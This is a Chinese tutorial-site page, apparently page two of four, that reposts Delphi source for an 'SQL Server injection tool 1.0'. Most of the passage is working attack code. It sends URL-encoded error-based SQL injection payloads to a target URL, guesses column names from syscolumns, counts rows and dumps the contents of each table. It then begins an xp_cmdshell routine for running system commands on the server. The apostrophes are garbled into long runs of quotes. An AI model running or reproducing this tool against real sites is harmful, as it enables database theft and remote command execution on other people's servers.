转至繁体中文版　　　  | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告：     敏韬网|教学资源学习资料永久免费分享站！  [mintao  2008年9月2日]        
您现在的位置： 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
SQL Server注入工具 1.0    热     

SQL Server注入工具 1.0

作者：闵涛 文章来源：闵涛的学习笔记 点击数：3956 更新时间：2007/11/14 12:57:01
Name) or (isFinish) then
        Break;
      Memo1.Lines.Add(''''表名 :''''+TName);
      //猜解列名
      Memo1.Lines.Add('''''''');
      Memo1.Lines.Add(''''开始猜解列名.....'''');
      Memo1.Lines.Add(''''#######################'''');
      NCharStr :='''''''';
      NCharStr :=StrToNChar(DbName,TName);
      j:=1;
      while j<1000 do
      begin
        ColName :='''''''';
        ColName :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)''''+
                       ''''%20as%20varchar(8000))%20from%20(Select%20Top%20''''+inttostr(j)+''''%20colid,name''''+
                       ''''%20From%20[''''+DbName+'''']..[syscolumns]%20Where%20id%20=%20''''+NCharStr+
                       ''''%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0;--'''');
        if (ColName0=ColName) or (isFinish) then
          j:=1000
        else begin
          Memo1.Lines.Add(''''列名 ''''+inttostr(j)+'''' :''''+ColName);
          if j<vFieldCount+1 then
          begin
            vfield[j-1] :=ColName;
          end;
          ColName0 :=ColName;
          inc(j);
        end;
      end;
      Memo1.Lines.Add(''''#######################'''');
      Memo1.Lines.Add(''''列名猜解结束.....'''');
      Memo1.Lines.Add('''''''');
      //猜解数据
      Memo1.Lines.Add(''''开始猜解数据.....'''');
      Memo1.Lines.Add(''''#######################'''');
      CountStr :=GetWBMsg(Url+''''%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))''''+
                   ''''%2Bchar(124)%20From%20[''''+TName+'''']%20Where%201=1)>0;--'''');
      try
        iCount :=strtoint(CountStr);
      except
        Memo1.Lines.add(''''出现意外数据，操作终止！'''');
        exit;
      end;
      Memo1.Lines.Add(''''表 ''''+TName+'''' ：共有 ''''+CountStr+'''' 条数据。'''');
      CFieldStr :='''''''';
      FieldStr :='''''''';
      FieldOrdStr :='''''''';
      for k:=0 to vFieldCount-1 do
      begin
        if k=0 then
        begin
          CFieldStr :=''''isNull(cast([''''+vfield[0]+'''']%20as%20varchar(8000)),char(32))'''';
          FieldStr :=''''[''''+vfield[0]+'''']'''';
          FieldOrdStr :=''''[''''+vfield[0]+'''']%20desc'''';
        end else
        begin
          CFieldStr :=CFieldStr+''''%2B%20%2BisNull(cast([''''+vfield[k]+'''']%20as%20varchar(8000)),char(32))'''';
          FieldStr :=FieldStr+'''',[''''+vfield[k]+'''']'''';
          FieldOrdStr :=FieldOrdStr+'''',[''''+vfield[k]+'''']%20desc'''';
        end;
      end;
      k:=1;
      while k<iCount+1 do
      begin
        ValueStr :='''''''';
        ValueStr :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20char(124)%2B''''+CFieldStr+''''%2Bchar(124)%20From%20(Select''''+
                   ''''%20Top%20''''+inttostr(k)+''''%20''''+FieldStr+''''%20From%20[''''+DbName+'''']..[''''+TName+'''']%20Where%201=1''''+
                   ''''%20Order%20by%20''''+FieldStr+'''')%20T%20Order%20by%20''''+FieldOrdStr+'''')>0;--'''');

        if isFinish then
          k:=iCount+1;
        Memo1.Lines.Add(''''数据 ''''+inttostr(k)+'''' :''''+ValueStr);
        inc(k);
      end;
      Memo1.Lines.Add(''''#######################'''');
      Memo1.Lines.Add(''''数据猜解结束.....'''');       
      Memo1.Lines.Add('''''''');
      TName0 :=TName;
    end;
    Memo1.Lines.Add(''''#######################'''');
    Memo1.Lines.Add(''''表名猜解结束.....'''');
  finally
    Screen.Cursor :=crDefault;
    BtnStop.Visible :=False;
    BtnCheck.Visible :=True;
  end;
end;

procedure TForm1.BtnExecuteClick(Sender: TObject);
var
  Url,DbName,CommandStr:string;
  ResultStr,CountStr:string;
  iCount,i:integer;
begin
  try
    Url:=trim(EdtUrl.Text);
    ResultStr :='''''''';
    CommandStr :='''''''';
    isCancel :=False;
    CommandStr:=trim(EdtCommand.Text);
    CommandStr:=StringReplace(CommandStr,''''%'''',''''%25'''',[rfReplaceAll]);
    CommandStr:=StringReplace(CommandStr,'''' '''',''''%20'''',[rfReplaceAll]);
    Memo2.Clear;
    Screen.Cursor :=crHourGlass;
    //取得数据库名
    DbName :=GetWBMsg(Url+''''%20And%20char(124)%2Bdb_name()%2Bchar(124)=0'''');
    if (DbName='''''''') or (DbName=''''未知'''') then
    begin
      Memo2.Lines.Add(''''未知的数据库，操作终止！'''');
      exit;
    end;
    //Cmd_shell
    //使用xp_cmdshell来运行系统命令
    if rbCmd.Checked then
    begin
      //回显
    &

上一页  [1] [2] [3] [4]  下一页


[Access]sql随机抽取记录  [Access]ASP&SQL让select查询结果随机排序的实现方法
[聊天工具]企业邮件系统的利器----FoxMail Server  [系统软件]OPEN SERVER 5.0.5安装EXP300阵列柜
[系统软件]SQL语句性能优化--LECCO SQL Expert  [系统软件]关于Windows2000Server的灾难恢复
[常用软件][网络]下载服务革命性风暴Poco Server评测  [C语言系列]动态创建SQL Server数据库、表、存储过程等架构信…
[C语言系列]SQL Server到DB2连接服务器的实现  [C语言系列]SQL Server到SYBASE连接服务器的实现
教程录入：mintao    责任编辑：mintao 
  • 上一篇教程：

  • 下一篇教程：
    • 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    　 注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网]
    　　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
    		•
    赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题，因而无法显示。
    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright ＠ 2007-2012 敏韬网(敏而好学，文韬武略--MinTao.Net)（学习笔记） Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长：MinTao ICP备案号：鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网。A打造B、C、D……
    		咸宁网络警察报警平台